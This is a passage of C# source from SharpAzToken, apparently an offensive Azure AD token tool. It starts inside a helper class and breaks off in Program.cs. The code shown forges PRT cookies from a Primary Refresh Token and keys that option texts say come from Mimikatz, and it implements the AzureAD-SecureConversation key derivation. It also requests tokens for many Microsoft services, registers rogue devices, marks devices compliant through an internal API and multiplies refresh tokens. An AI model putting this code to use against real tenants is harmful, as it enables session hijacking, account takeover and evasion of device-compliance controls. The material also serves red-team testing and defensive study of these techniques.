94 | 95 | handler.UseCookies = useCookies; 96 | var client = new HttpClient(handler); 97 | client.BaseAddress = new Uri(baseAdress); 98 | client.DefaultRequestHeaders.Clear(); 99 | //client.DefaultRequestHeaders.Add("UA-CPU", "AMD64"); 100 | string usedUserAgent = GetEnumDescription((UserAgentEnums)userAgent); 101 | client.DefaultRequestHeaders.Add("User-Agent", usedUserAgent); 102 | return client; 103 | 104 | } 105 | 106 | // https://stackoverflow.com/questions/1459006/is-there-a-c-sharp-equivalent-to-pythons-unhexlify 107 | public static byte[] Hex2Binary(string hex) 108 | { 109 | var chars = hex.ToCharArray(); 110 | var bytes = new List(); 111 | for (int index = 0; index < chars.Length; index += 2) 112 | { 113 | var chunk = new string(chars, index, 2); 114 | bytes.Add(byte.Parse(chunk, NumberStyles.AllowHexSpecifier)); 115 | } 116 | return bytes.ToArray(); 117 | } 118 | 119 | //https://stackoverflow.com/questions/311165/how-do-you-convert-a-byte-array-to-a-hexadecimal-string-and-vice-versa 120 | public static string Binary2Hex(byte[] ba) 121 | { 122 | return BitConverter.ToString(ba).Replace("-", ""); 123 | } 124 | 125 | //https://stackoverflow.com/questions/1228701/code-for-decoding-encoding-a-modified-base64-url 126 | public static byte[] Base64Decode(string arg) 127 | { 128 | string s = arg; 129 | s = s.Replace('-', '+'); // 62nd char of encoding 130 | s = s.Replace('_', '/'); // 63rd char of encoding 131 | switch (s.Length % 4) // Pad with trailing '='s 132 | { 133 | case 0: break; // No pad chars in this case 134 | case 2: s += "=="; break; // Two pad chars 135 | case 3: s += "="; break; // One pad char 136 | default: 137 | throw new System.Exception( 138 | "Illegal base64prt string!"); 139 | } 140 | return Convert.FromBase64String(s); // Standard base64 decoder 141 | } 142 | 143 | public static string Base64UrlEncode(byte[] arg) 144 | { 145 | string s = Convert.ToBase64String(arg); // Regular base64 encoder 146 | s = s.Split('=')[0]; // Remove any trailing '='s 147 | s = s.Replace('+', '-'); // 62nd char of encoding 148 | s = s.Replace('/', '_'); // 63rd char of encoding 149 | return s; 150 | } 151 | 152 | public static string createPRTCookieWithKDFv2(string prt, string context, string derived_sessionkey, string sessionkey, string proxy) 153 | { 154 | string nonce = getNonce(proxy); 155 | 156 | byte[] data = Base64Decode(prt); 157 | string prtdecoded = Encoding.UTF8.GetString(data); 158 | 159 | 160 | //https://stackoverflow.com/questions/9453101/how-do-i-get-epoch-time-in-c 161 | TimeSpan t = DateTime.UtcNow - new DateTime(1970, 1, 1); 162 | int iat = (int)t.TotalSeconds; 163 | 164 | var payload = new Dictionary 165 | { 166 | { "refresh_token", prtdecoded }, 167 | { "is_primary", "true" }, 168 | { "iat", iat }, 169 | { "request_nonce", nonce } 170 | }; 171 | 172 | var contextBytes = Helper.GetByteArray(24); 173 | Dictionary header = null; 174 | var derivedContext = contextBytes; 175 | header = new Dictionary 176 | { 177 | { "ctx", contextBytes }, 178 | { "kdf_ver", 2 } 179 | 180 | }; 181 | derivedContext = GetKDFv2(payload, contextBytes); 182 | 183 | IJwtAlgorithm algorithm = new HMACSHA256Algorithm(); // symmetric 184 | IJsonSerializer serializer = new JsonNetSerializer(); 185 | IBase64UrlEncoder urlEncoder = new JwtBase64UrlEncoder(); 186 | IJwtEncoder encoder = new JwtEncoder(algorithm, serializer, urlEncoder); 187 | 188 | var decodedKey = Helper.Base64Decode(sessionkey); 189 | var derivedKey = Helper.CreateDerivedKey(decodedKey, derivedContext); 190 | 191 | var cookie = encoder.Encode(header, payload, derivedKey); 192 | return cookie; 193 | } 194 | 195 | public static string createPRTCookie(string prt, string context, string derived_sessionkey, string sessionkey, string proxy) 196 | { 197 | 198 | string nonce = getNonce(proxy); 199 | 200 | byte[] data = Base64Decode(prt); 201 | string prtdecoded = Encoding.UTF8.GetString(data); 202 | 203 | var payload = new Dictionary 204 | { 205 | { "refresh_token", prtdecoded }, 206 | { "is_primary", "true" }, 207 | { "request_nonce", nonce } 208 | }; 209 | 210 | Dictionary header = null; 211 | 212 | byte[] currentContext; 213 | if (context != null) 214 | { 215 | currentContext = Hex2Binary(context); 216 | } 217 | else 218 | { 219 | currentContext = Helper.GetByteArray(24); 220 | } 221 | 222 | header = new Dictionary 223 | { 224 | { "ctx", currentContext } 225 | }; 226 | 227 | IJwtAlgorithm algorithm = new HMACSHA256Algorithm(); // symmetric 228 | IJsonSerializer serializer = new JsonNetSerializer(); 229 | IBase64UrlEncoder urlEncoder = new JwtBase64UrlEncoder(); 230 | IJwtEncoder encoder = new JwtEncoder(algorithm, serializer, urlEncoder); 231 | 232 | if (sessionkey != null) 233 | { 234 | var decodedKey = Helper.Base64Decode(sessionkey); 235 | var derivedKey = Helper.CreateDerivedKey(decodedKey, currentContext); 236 | var cookie = encoder.Encode(header, payload, derivedKey); 237 | return cookie; 238 | } 239 | else 240 | { 241 | byte[] sdata = null; 242 | string secret = derived_sessionkey.Replace(" ", ""); 243 | sdata = Hex2Binary(secret); 244 | var cookie = encoder.Encode(header, payload, sdata); 245 | return cookie; 246 | } 247 | } 248 | 249 | 250 | 251 | public static string signJWT(Dictionary header, Dictionary payload, string key) 252 | { 253 | IJwtAlgorithm algorithm = new HMACSHA256Algorithm(); // symmetric 254 | IJsonSerializer serializer = new JsonNetSerializer(); 255 | IBase64UrlEncoder urlEncoder = new JwtBase64UrlEncoder(); 256 | IJwtEncoder encoder = new JwtEncoder(algorithm, serializer, urlEncoder); 257 | string secret = key.Replace(" ", ""); 258 | byte[] sdata = Hex2Binary(secret); 259 | return encoder.Encode(header, payload, sdata); 260 | } 261 | 262 | public static String getNonce(string proxy) 263 | { 264 | using (var client = getDefaultClient(proxy)) 265 | { 266 | String uri = string.Format(@"/Common/oauth2/authorize?client_id={0}", "1b730954-1685-4b74-9bfd-dac224a7b894"); 267 | var response = client.GetAsync(uri).Result; 268 | var responseContent = response.Content; 269 | string responseString = responseContent.ReadAsStringAsync().Result; 270 | int startOf = responseString.IndexOf("\"nonce\":\""); 271 | int endOf = responseString.IndexOf("\"", startOf + 9); 272 | int len = endOf - startOf; 273 | string nonce = responseString.Substring(startOf + 9, len - 9); 274 | client.Dispose(); 275 | return nonce; 276 | } 277 | } 278 | 279 | 280 | private static string PostTo(string uri, FormUrlEncodedContent formContent, string proxy, UserAgentEnums userAgent) 281 | { 282 | using (var message = new HttpRequestMessage(HttpMethod.Post, uri)) 283 | using (var client = Helper.getDefaultClient(proxy, false, userAgent)) 284 | { 285 | //message.Headers.Add("client-request-id", Guid.NewGuid().ToString()); 286 | //message.Headers.Add("return-client-request-id", "true"); 287 | message.Content = formContent; 288 | var response = client.SendAsync(message).Result; 289 | var result = response.Content.ReadAsStringAsync().Result; 290 | return result; 291 | } 292 | } 293 | 294 | private static string GetFrom(string uri, string proxy, UserAgentEnums userAgent) 295 | { 296 | using (var message = new HttpRequestMessage(HttpMethod.Get, uri)) 297 | using (var client = Helper.getDefaultClient(proxy, false, userAgent)) 298 | { 299 | var response = client.SendAsync(message).Result; 300 | return response.Content.ReadAsStringAsync().Result; 301 | } 302 | } 303 | 304 | public static int PatchRequest(string uri, string accesstoken, string proxy, UserAgentEnums userAgent = UserAgentEnums.Edge) 305 | { 306 | using(var content = new StringContent("{}", Encoding.UTF8, "application/json")) 307 | using (var message = new HttpRequestMessage(HttpMethod.Patch, uri)) 308 | using (var client = Helper.getDefaultClient(proxy, false, userAgent, "https://graph.windows.net")) 309 | { 310 | message.Headers.Authorization = new AuthenticationHeaderValue("Bearer", accesstoken); 311 | message.Content = content; 312 | var response = client.SendAsync(message).Result; 313 | return (int)response.StatusCode; 314 | } 315 | } 316 | 317 | public static string GetOpenIDConfiguration(string domain, string proxy) 318 | { 319 | string uri = "/" + domain + "/.well-known/openid-configuration"; 320 | return GetFrom(uri,proxy, UserAgentEnums.Edge); 321 | } 322 | 323 | public static string PostToDeviceCodeEndpoint(FormUrlEncodedContent formContent, string proxy, bool useOAuthV2, UserAgentEnums userAgent = UserAgentEnums.Edge) 324 | { 325 | string uri = null; 326 | if (useOAuthV2) 327 | { 328 | uri = "/common/oauth2/v2.0/devicecode"; 329 | } 330 | else 331 | { 332 | uri = "/common/oauth2/devicecode"; 333 | } 334 | return PostTo(uri, formContent, proxy, userAgent); 335 | } 336 | 337 | public static string PostToTokenV2Endpoint(FormUrlEncodedContent formContent, string proxy, string tenant = null, UserAgentEnums userAgent = UserAgentEnums.Edge) 338 | { 339 | string uri = "/organizations/oauth2/v2.0/token"; 340 | if (tenant != null) 341 | { 342 | uri = "/" + tenant + "/oauth2/v2.0/token"; 343 | } 344 | return PostTo(uri, formContent, proxy, userAgent); 345 | } 346 | 347 | public static string PostToTokenEndpoint(FormUrlEncodedContent formContent, string proxy, string tenant = null, UserAgentEnums userAgent = UserAgentEnums.Edge) 348 | { 349 | string uri = "/common/oauth2/token"; 350 | if (tenant != null) 351 | { 352 | uri = "/" + tenant + "/oauth2/token"; 353 | } 354 | return PostTo(uri, formContent, proxy, userAgent); 355 | } 356 | 357 | public static string GetNonce2(string proxy, UserAgentEnums userAgent = UserAgentEnums.Edge) 358 | { 359 | var formContent = new FormUrlEncodedContent(new[] 360 | { 361 | new KeyValuePair("grant_type", "srv_challenge") 362 | }); 363 | string result = PostToTokenEndpoint(formContent, proxy); 364 | JToken parsedNonce = JToken.Parse(result); 365 | return parsedNonce["Nonce"].ToString(); 366 | } 367 | 368 | public static string GetTenantFromAccessToken(string accesstoken) 369 | { 370 | return GetInfoFromBase64JSON(accesstoken, "tid"); 371 | } 372 | 373 | public static string GetAudienceFromAccessToken(string accesstoken) 374 | { 375 | return GetInfoFromBase64JSON(accesstoken, "aud"); 376 | } 377 | public static string getUPNFromAccessToken(string accesstoken) 378 | { 379 | return GetInfoFromBase64JSON(accesstoken, "upn"); 380 | } 381 | 382 | public static string GetInfoFromBase64JSON(string jsonString, string info) 383 | { 384 | var serializer = new JsonNetSerializer(); 385 | var urlEncoder = new JwtBase64UrlEncoder(); 386 | var decoder = new JwtDecoder(serializer, urlEncoder); 387 | string decodedaccesstoken = decoder.Decode(jsonString); 388 | JToken parsedAccessToken = JToken.Parse(decodedaccesstoken); 389 | return parsedAccessToken[info].ToString(); 390 | } 391 | 392 | public static byte[] GetByteArray(int size) 393 | { 394 | Random rnd = new Random(); 395 | byte[] b = new byte[size]; // convert kb to byte 396 | rnd.NextBytes(b); 397 | return b; 398 | } 399 | 400 | public static byte[] CombineByteArrays(byte[] first, byte[] second) 401 | { 402 | return first.Concat(second).ToArray(); 403 | } 404 | 405 | public static byte[] CreateDerivedKey(byte[] sessionKey, byte[] context) 406 | { 407 | byte[] sessionKeyBytes = sessionKey; 408 | byte[] contextBytes = context; 409 | byte[] label = System.Text.Encoding.UTF8.GetBytes("AzureAD-SecureConversation"); 410 | 411 | var first = new byte[]{ 0x00, 0x00, 0x00, 0x01 }; 412 | var second = new byte[] { 0x00 }; 413 | var third = new byte[] { 0x00, 0x00, 0x01, 0x00 }; 414 | 415 | var value = CombineByteArrays(first, label); 416 | value = CombineByteArrays(value, second); 417 | value = CombineByteArrays(value, contextBytes); 418 | value = CombineByteArrays(value, third); 419 | var hmac = new System.Security.Cryptography.HMACSHA256(sessionKeyBytes); 420 | var hmacOutput = hmac.ComputeHash(value); 421 | return hmacOutput; 422 | } 423 | 424 | public static byte[] ConvertToByteArray(string str, Encoding encoding) 425 | { 426 | return encoding.GetBytes(str); 427 | } 428 | 429 | public static String ToBinary(Byte[] data) 430 | { 431 | return string.Join(" ", data.Select(byt => Convert.ToString(byt, 2).PadLeft(8, '0'))); 432 | } 433 | 434 | public static byte[] GetKDFv2(Dictionary payload, Byte[] context) 435 | { 436 | var SHA256 = System.Security.Cryptography.SHA256.Create(); 437 | //var payloadJsons = JsonConvert.SerializeObject(payload); 438 | string payloadJson = JsonSerializer.Serialize(payload); 439 | payloadJson = payloadJson.Replace(@"\", ""); 440 | payloadJson = payloadJson.Replace(@" ", String.Empty); 441 | var encodedJSON = Encoding.UTF8.GetBytes(payloadJson); 442 | var buffer = new byte[encodedJSON.Length + context.Length]; 443 | 444 | Array.Copy(context, 0, buffer, 0, context.Length); 445 | Array.Copy(encodedJSON, 0, buffer, context.Length, encodedJSON.Length); 446 | return SHA256.ComputeHash(buffer); 447 | } 448 | 449 | // Credits to https://stackoverflow.com/questions/2650080/how-to-get-c-sharp-enum-description-from-value 450 | public static string GetEnumDescription(Enum value) 451 | { 452 | FieldInfo fi = value.GetType().GetField(value.ToString()); 453 | DescriptionAttribute[] attributes = fi.GetCustomAttributes(typeof(DescriptionAttribute), false) as DescriptionAttribute[]; 454 | if (attributes != null && attributes.Any()) 455 | { 456 | return attributes.First().Description; 457 | } 458 | return value.ToString(); 459 | } 460 | } 461 | } 462 | -------------------------------------------------------------------------------- /SharpAzToken/MEManager.cs: -------------------------------------------------------------------------------- 1 | using SharpAzToken.Models; 2 | using Newtonsoft.Json; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Net.Http; 6 | using System.Net.Http.Headers; 7 | using System.Text; 8 | 9 | namespace SharpAzToken 10 | { 11 | class MEManager 12 | { 13 | public static DeviceEnrollmentResp addNewDeviceToAzure(string proxy, string accesstoken, string certificaterequest, string transportKey, string targetDomain, string deviceDisplayName, bool registerDevice, UserAgentEnums userAgent) 14 | { 15 | using (var client = Helper.getDefaultClient(proxy, false, userAgent, "https://enterpriseregistration.windows.net")) 16 | using (var message = new HttpRequestMessage(HttpMethod.Post, "/EnrollmentServer/device/?api-version=1.0")) 17 | { 18 | //message.Headers.Add("Authorization", "Bearer " + accesstoken); 19 | message.Headers.Authorization = new AuthenticationHeaderValue("Bearer", accesstoken); 20 | message.Headers.TryAddWithoutValidation("Content-Type", "application/json; charset=utf-8"); 21 | 22 | int jointype = 0; 23 | if (registerDevice) 24 | { 25 | jointype = 4; 26 | } 27 | 28 | var body = new DeviceEnrollmentReq 29 | { 30 | TransportKey = transportKey, 31 | JoinType = jointype, 32 | DeviceDisplayName = deviceDisplayName, 33 | OSVersion = "10.0.19041.804", 34 | CertificateRequest = new Certificaterequest 35 | { 36 | Data = certificaterequest, 37 | Type = "pkcs10" 38 | }, 39 | TargetDomain = targetDomain, 40 | DeviceType = "Windows", 41 | Attributes = new Attributes 42 | { 43 | ReturnClientSid = "true", 44 | ReuseDevice = "true", 45 | SharedDevice = "false" 46 | } 47 | }; 48 | 49 | var content = new StringContent(JsonConvert.SerializeObject(body, Formatting.Indented)); 50 | message.Content = content; 51 | var response = client.SendAsync(message).Result; 52 | if (response.IsSuccessStatusCode) 53 | { 54 | var result = response.Content.ReadAsStringAsync().Result; 55 | var devEnrollmentResp = JsonConvert.DeserializeObject(result); 56 | return devEnrollmentResp; 57 | } 58 | } 59 | return null; 60 | } 61 | 62 | public static int MarkDeviceAsCompliant(string ObjectID, String accesstoken, String Proxy) 63 | { 64 | String tenantid = Helper.GetTenantFromAccessToken(accesstoken); 65 | String uri = "/" + tenantid + "/devices/" + ObjectID + "?api-version=1.61-internal"; 66 | return Helper.PatchRequest(uri, accesstoken, Proxy); 67 | } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /SharpAzToken/Models/DeviceCodeResp.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace SharpAzToken.Models 6 | { 7 | public class DeviceCodeResp 8 | { 9 | public string user_code { get; set; } 10 | public string device_code { get; set; } 11 | public string verification_url { get; set; } 12 | public int expires_in { get; set; } 13 | public int interval { get; set; } 14 | public string message { get; set; } 15 | } 16 | 17 | } 18 | -------------------------------------------------------------------------------- /SharpAzToken/Models/DeviceEnrollmentReq.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace SharpAzToken.Models 6 | { 7 | 8 | public class DeviceEnrollmentReq 9 | { 10 | public string TransportKey { get; set; } 11 | public int JoinType { get; set; } 12 | public string DeviceDisplayName { get; set; } 13 | public string OSVersion { get; set; } 14 | public Certificaterequest CertificateRequest { get; set; } 15 | public string TargetDomain { get; set; } 16 | public string DeviceType { get; set; } 17 | public Attributes Attributes { get; set; } 18 | } 19 | 20 | public class Certificaterequest 21 | { 22 | public string Type { get; set; } 23 | public string Data { get; set; } 24 | } 25 | 26 | public class Attributes 27 | { 28 | public string ReuseDevice { get; set; } 29 | public string ReturnClientSid { get; set; } 30 | public string SharedDevice { get; set; } 31 | } 32 | } -------------------------------------------------------------------------------- /SharpAzToken/Models/DeviceEnrollmentResp.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace SharpAzToken.Models 6 | { 7 | public class DeviceEnrollmentResp 8 | { 9 | public Certificate Certificate { get; set; } 10 | public User User { get; set; } 11 | public Membershipchange[] MembershipChanges { get; set; } 12 | } 13 | 14 | public class Certificate 15 | { 16 | public string Thumbprint { get; set; } 17 | public string RawBody { get; set; } 18 | } 19 | 20 | public class User 21 | { 22 | public string Upn { get; set; } 23 | } 24 | 25 | public class Membershipchange 26 | { 27 | public string LocalSID { get; set; } 28 | public string[] AddSIDs { get; set; } 29 | } 30 | 31 | } 32 | -------------------------------------------------------------------------------- /SharpAzToken/Models/ErrorResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace SharpAzToken.Models 6 | { public class ErrorResponse 7 | { 8 | public string error { get; set; } 9 | public string error_description { get; set; } 10 | public int[] error_codes { get; set; } 11 | public string timestamp { get; set; } 12 | public string trace_id { get; set; } 13 | public string correlation_id { get; set; } 14 | public string error_uri { get; set; } 15 | } 16 | 17 | 18 | } 19 | -------------------------------------------------------------------------------- /SharpAzToken/Models/OpenIDConfigurationResp.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace SharpAzToken.Models 6 | { 7 | public class OpenIDConfigurationResp 8 | { 9 | public string token_endpoint { get; set; } 10 | public string[] token_endpoint_auth_methods_supported { get; set; } 11 | public string jwks_uri { get; set; } 12 | public string[] response_modes_supported { get; set; } 13 | public string[] subject_types_supported { get; set; } 14 | public string[] id_token_signing_alg_values_supported { get; set; } 15 | public string[] response_types_supported { get; set; } 16 | public string[] scopes_supported { get; set; } 17 | public string issuer { get; set; } 18 | public bool microsoft_multi_refresh_token { get; set; } 19 | public string authorization_endpoint { get; set; } 20 | public string device_authorization_endpoint { get; set; } 21 | public bool http_logout_supported { get; set; } 22 | public bool frontchannel_logout_supported { get; set; } 23 | public string end_session_endpoint { get; set; } 24 | public string[] claims_supported { get; set; } 25 | public string check_session_iframe { get; set; } 26 | public string userinfo_endpoint { get; set; } 27 | public string kerberos_endpoint { get; set; } 28 | public string tenant_region_scope { get; set; } 29 | public string cloud_instance_name { get; set; } 30 | public string cloud_graph_host_name { get; set; } 31 | public string msgraph_host { get; set; } 32 | public string rbac_url { get; set; } 33 | } 34 | 35 | } 36 | -------------------------------------------------------------------------------- /SharpAzToken/Options.cs: -------------------------------------------------------------------------------- 1 | using CommandLine; 2 | 3 | 4 | namespace SharpAzToken 5 | { 6 | 7 | [Verb("default", HelpText = "Default options, not visible")] 8 | class DefaultOptions 9 | { 10 | [Option(HelpText = "Set Proxy")] 11 | public string Proxy { get; set; } 12 | [Option(HelpText = "Choose a Useragent", Default = UserAgentEnums.Edge)] 13 | public UserAgentEnums UserAgent { get; set; } 14 | } 15 | 16 | [Verb("devicekeys", HelpText = "Play with Device Keys - Get a PRT and a SessionKey for a certificate.")] 17 | class DeviceKeyOptions : DefaultOptions 18 | { 19 | [Option(HelpText = "Specify path to device certificate (PFX).", Required = true)] 20 | public string PFXPath { get; set; } 21 | 22 | [Option(HelpText = "Set Tenant")] 23 | public string Tenant { get; set; } 24 | 25 | [Option(HelpText = "Set username")] 26 | public string UserName { get; set; } 27 | 28 | [Option(HelpText = "Set password")] 29 | public string Password { get; set; } 30 | 31 | [Option(HelpText = "Set Refreshtoken")] 32 | public string RefreshToken { get; set; } 33 | 34 | [Option(HelpText = "Set ClientID (ApplicationID), for example GraphAPI (1b730954-1685-4b74-9bfd-dac224a7b894)", Default = "1b730954-1685-4b74-9bfd-dac224a7b894")] 35 | public string ClientID { get; set; } 36 | } 37 | 38 | [Verb("p2pcert", HelpText = "Ask for a P2P Certificate.")] 39 | class P2POptions : DefaultOptions 40 | { 41 | [Option(HelpText = "Specify path to device certificate (PFX).")] 42 | public string PFXPath { get; set; } 43 | [Option(HelpText = "Specify a password for the certificate", Default = "")] 44 | public string PFXPassword { get; set; } 45 | 46 | [Option(HelpText = "Device Name")] 47 | public string DeviceName { get; set; } 48 | 49 | [Option(HelpText = "Set Tenant")] 50 | public string Tenant { get; set; } 51 | 52 | [Option(HelpText = "Set username")] 53 | public string UserName { get; set; } 54 | 55 | [Option(HelpText = "Set password")] 56 | public string Password { get; set; } 57 | 58 | [Option(HelpText = "Set PRT")] 59 | public string PRT { get; set; } 60 | 61 | [Option(HelpText = "Set Session Key")] 62 | public string SessionKey { get; set; } 63 | 64 | [Option(HelpText = "Set DerivedKey")] 65 | public string DerivedKey { get; set; } 66 | 67 | [Option(HelpText = "Set Context")] 68 | public string Context { get; set; } 69 | 70 | [Option(HelpText = "Use KeyDerivationFunction 2 - Does not work currently", Default = false)] 71 | public bool useKDFv2 { get; set; } 72 | } 73 | 74 | [Verb("nonce", HelpText = "Request a nonce from Azure.")] 75 | class NonceOptions : DefaultOptions 76 | { 77 | } 78 | 79 | [Verb("utils", HelpText = "Some arbitrary usefull functions.")] 80 | class UtilsOptions : DefaultOptions 81 | { 82 | [Option(HelpText = "Resolve a domain to a TenantID")] 83 | public string Domain { get; set; } 84 | } 85 | 86 | [Verb("cookie", HelpText = "Create a PRT Cookie for further usage or your browser.")] 87 | class CookieOptions : DefaultOptions 88 | { 89 | [Option(HelpText = "Use PRT (from Mimikatz)")] 90 | public string PRT { get; set; } 91 | 92 | [Option(HelpText = "Use DerivedKey (from Mimikatz)")] 93 | public string DerivedKey { get; set; } 94 | 95 | [Option(HelpText = "Use Context (from Mimikatz)")] 96 | public string Context { get; set; } 97 | 98 | [Option(HelpText = "Use Session Key")] 99 | public string SessionKey { get; set; } 100 | 101 | [Option(HelpText = "Use KeyDerivationFunction 1", Default = false)] 102 | public bool useKDFv1 { get; set; } 103 | } 104 | 105 | [Verb("token", HelpText = "Play with Azure tokens using \"/oauth2/token\" endpoint.")] 106 | class TokenOptionsV1 : DefaultOptions 107 | { 108 | [Option(HelpText = "Use PRT")] 109 | public string PRT { get; set; } 110 | 111 | [Option(HelpText = "Use Session Key")] 112 | public string SessionKey { get; set; } 113 | 114 | [Option(HelpText = "Use DeviceCode authentication", Default = false)] 115 | public bool Devicecode{ get; set; } 116 | 117 | [Option(HelpText = "Use DerivedKey")] 118 | public string DerivedKey { get; set; } 119 | 120 | [Option(HelpText = "Use Context")] 121 | public string Context { get; set; } 122 | 123 | [Option(HelpText = "Use Refreshtoken")] 124 | public string RefreshToken { get; set; } 125 | 126 | [Option(HelpText = "Use PRTCookie")] 127 | public string PrtCookie { get; set; } 128 | 129 | [Option(HelpText = "Set ClientID (ApplicationID), for example GraphAPI (1b730954-1685-4b74-9bfd-dac224a7b894)", Default = "1b730954-1685-4b74-9bfd-dac224a7b894")] 130 | public string ClientID { get; set; } 131 | 132 | [Option(HelpText = "Use Client Secret")] 133 | public string ClientSecret { get; set; } 134 | 135 | [Option(HelpText = "Specify Tenant")] 136 | public string Tenant { get; set; } 137 | 138 | [Option(HelpText = "Use username")] 139 | public string UserName { get; set; } 140 | 141 | [Option(HelpText = "Use password")] 142 | public string Password { get; set; } 143 | 144 | [Option(HelpText = "Set resource ID for access token, for example for Device Management (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9)", Default = "https://graph.windows.net")] 145 | public string ResourceID { get; set; } 146 | 147 | [Option(HelpText = "Set a client used for token request, you can choose between: Outlook, Substrate, Teams, Graph, MSGraph, Core, Office, Intune, Windows, ComplianceCenter, SharepointOnline or ExchangeOnlineV2. Or you can set custom values with --clientid and --resourceid")] 148 | public string ClientName { get; set; } 149 | [Option(HelpText = "Use KeyDerivationFunction 2", Default = true)] 150 | public bool useKDFv2{ get; set; } 151 | } 152 | 153 | [Verb("tokenv2", HelpText = "Play with Azure tokens using \"/oauth2/v2.0/token\" endpoint.")] 154 | class TokenOptionsV2 : DefaultOptions 155 | { 156 | [Option(HelpText = "Use PRT")] 157 | public string PRT { get; set; } 158 | 159 | [Option(HelpText = "Use Session Key")] 160 | public string SessionKey { get; set; } 161 | 162 | [Option(HelpText = "Use DeviceCode authentication", Default = false)] 163 | public bool Devicecode { get; set; } 164 | 165 | [Option(HelpText = "Use DerivedKey")] 166 | public string DerivedKey { get; set; } 167 | [Option(HelpText = "Use PRTCookie")] 168 | public string PrtCookie { get; set; } 169 | 170 | [Option(HelpText = "Use Context")] 171 | public string Context { get; set; } 172 | 173 | [Option(HelpText = "Use Refreshtoken")] 174 | public string RefreshToken { get; set; } 175 | 176 | [Option(HelpText = "Set ClientID (ApplicationID), for example GraphAPI (1b730954-1685-4b74-9bfd-dac224a7b894)", Default = "1b730954-1685-4b74-9bfd-dac224a7b894")] 177 | public string ClientID { get; set; } 178 | 179 | [Option(HelpText = "Use Client Secret")] 180 | public string ClientSecret { get; set; } 181 | 182 | [Option(HelpText = "Specify Tenant")] 183 | public string Tenant { get; set; } 184 | 185 | [Option(HelpText = "Use username")] 186 | public string UserName { get; set; } 187 | 188 | [Option(HelpText = "Use password")] 189 | public string Password { get; set; } 190 | 191 | [Option(HelpText = "Set a client used for token request, you can choose between: Outlook, Substrate, Teams, Graph, MSGraph, Core, Office, Intune, Windows, ComplianceCenter or ExchangeOnlineV2. Or you can set custom values with --clientid and --scope")] 192 | public string ClientName { get; set; } 193 | 194 | [Option(HelpText = "Set a custom scope", Default = ".default offline_access")] 195 | public string Scope { get; set; } 196 | 197 | [Option(HelpText = "Use KeyDerivationFunction 2", Default = true)] 198 | public bool useKDFv2 { get; set; } 199 | } 200 | 201 | [Verb("mdm", HelpText = "Do things with Intune like joining a device")] 202 | class DeviceOptions : DefaultOptions 203 | { 204 | [Option(HelpText = "Join a device, then you need to set at least a devicename (--devicename)", Default = false)] 205 | public bool JoinDevice { get; set; } 206 | 207 | [Option(HelpText = "Mark a device as compliant, then you need to set at least the deviceid (--objectid)", Default = false)] 208 | public bool MarkCompliant { get; set; } 209 | 210 | [Option(HelpText = "Specifiy the ObjectID of the device")] 211 | public string ObjectID{ get; set; } 212 | 213 | [Option(HelpText = "Specifiy device name")] 214 | public string DeviceName { get; set; } 215 | 216 | [Option(HelpText = "Set this, if you want only register the device", Default = false)] 217 | public bool RegisterDevice { get; set; } 218 | 219 | [Option(HelpText = "Set access token - use token with --clientid 1b730954-1685-4b74-9bfd-dac224a7b894 and --resourceid 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 or --clientname Windows")] 220 | public string AccessToken { get; set; } 221 | 222 | [Option(HelpText = "Set Tenant")] 223 | public string Tenant { get; set; } 224 | 225 | [Option(HelpText = "Set username")] 226 | public string UserName { get; set; } 227 | 228 | [Option(HelpText = "Set password")] 229 | public string Password { get; set; } 230 | } 231 | 232 | [Verb("focify", HelpText = "Use the reasearch of Secureworks to create a lot of refreshtoktens out of a given one.")] 233 | class FocifyOptions : DefaultOptions 234 | { 235 | [Option(HelpText = "Set RefreshToken to create foci tokens.")] 236 | public string RefreshToken { get; set; } 237 | 238 | [Option(HelpText = "Set Tenant")] 239 | public string Tenant { get; set; } 240 | 241 | [Option(HelpText = "Set a custom scope", Default = ".default offline_access")] 242 | public string Scope { get; set; } 243 | 244 | } 245 | } 246 | -------------------------------------------------------------------------------- /SharpAzToken/Program.cs: -------------------------------------------------------------------------------- 1 | using CommandLine; 2 | using CommandLine.Text; 3 | using JWT; 4 | using JWT.Algorithms; 5 | using JWT.Serializers; 6 | using Newtonsoft.Json; 7 | using Newtonsoft.Json.Linq; 8 | using System; 9 | using System.Collections.Generic; 10 | using System.IO; 11 | using System.Net.Http; 12 | using System.Reflection; 13 | using System.Security.Cryptography; 14 | using System.Security.Cryptography.X509Certificates; 15 | using System.Text; 16 | 17 | namespace SharpAzToken 18 | { 19 | 20 | 21 | 22 | class Program 23 | { 24 | static void PrintBanner() 25 | { 26 | String banner = @" 27 | _________.__ _____ ___________ __ 28 | / _____/| |__ _____ _____________ / _ \ _______\__ ___/___ | | __ ____ ____ 29 | \_____ \ | | \\__ \\_ __ \____ \ / /_\ \\___ / | | / _ \| |/ // __ \ / \ 30 | / \| Y \/ __ \| | \/ |_> > | \/ / | |( <_> ) <\ ___/| | \ 31 | /_______ /|___| (____ /__| | __/\____|__ /_____ \ |____| \____/|__|_ \\___ >___| / 32 | \/ \/ \/ |__| \/ \/ \/ \/ \/ "; 33 | Console.WriteLine(""); 34 | Console.WriteLine(banner); 35 | Console.WriteLine(""); 36 | } 37 | 38 | 39 | static int DisplayHelp(ParserResult parserResult) 40 | { 41 | Console.WriteLine(HelpText.AutoBuild(parserResult, h => { 42 | h.AdditionalNewLineAfterOption = false; 43 | h.Heading = "SharpAzToken 0.0.3"; //change header 44 | h.Copyright = ""; //change copyright text 45 | return h; 46 | })); 47 | return 1; 48 | } 49 | 50 | static int Main(string[] args) 51 | { 52 | PrintBanner(); 53 | var parserResult = new Parser(c => c.HelpWriter = null).ParseArguments(args); 54 | return parserResult.MapResult( 55 | (P2POptions options) => RunP2PAction(options), 56 | (DeviceKeyOptions options) => RunDeviceKeys(options), 57 | (DeviceOptions options) => RunDevice(options), 58 | (NonceOptions options) => RunNonce(options), 59 | (CookieOptions options) => RunCookie(options), 60 | (TokenOptionsV1 options) => 